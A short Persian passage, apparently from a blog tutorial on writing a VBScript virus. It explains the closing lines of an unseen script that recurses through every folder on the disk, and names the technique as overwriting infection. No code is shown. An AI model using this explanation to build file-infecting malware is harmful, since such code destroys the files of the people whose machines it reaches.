خط هجدهم تا بیست و یکم:در این جا هم تمام فولدرهای دیسک رو پیدا می کنه و مسیر هر کدوم ز فولدرها در متغیر path قرار میگیره و کدهای function دوباره اجرا می شن.

خط بیست و دوم:پایان function .

اسم این روش آلوده سازی،رونویسی است. آلوده سازی فایل های vbscript چندان سخت نیست.پس در پست های آینده آلوده سازی به روش های دیگر را هم خواهیم داشت.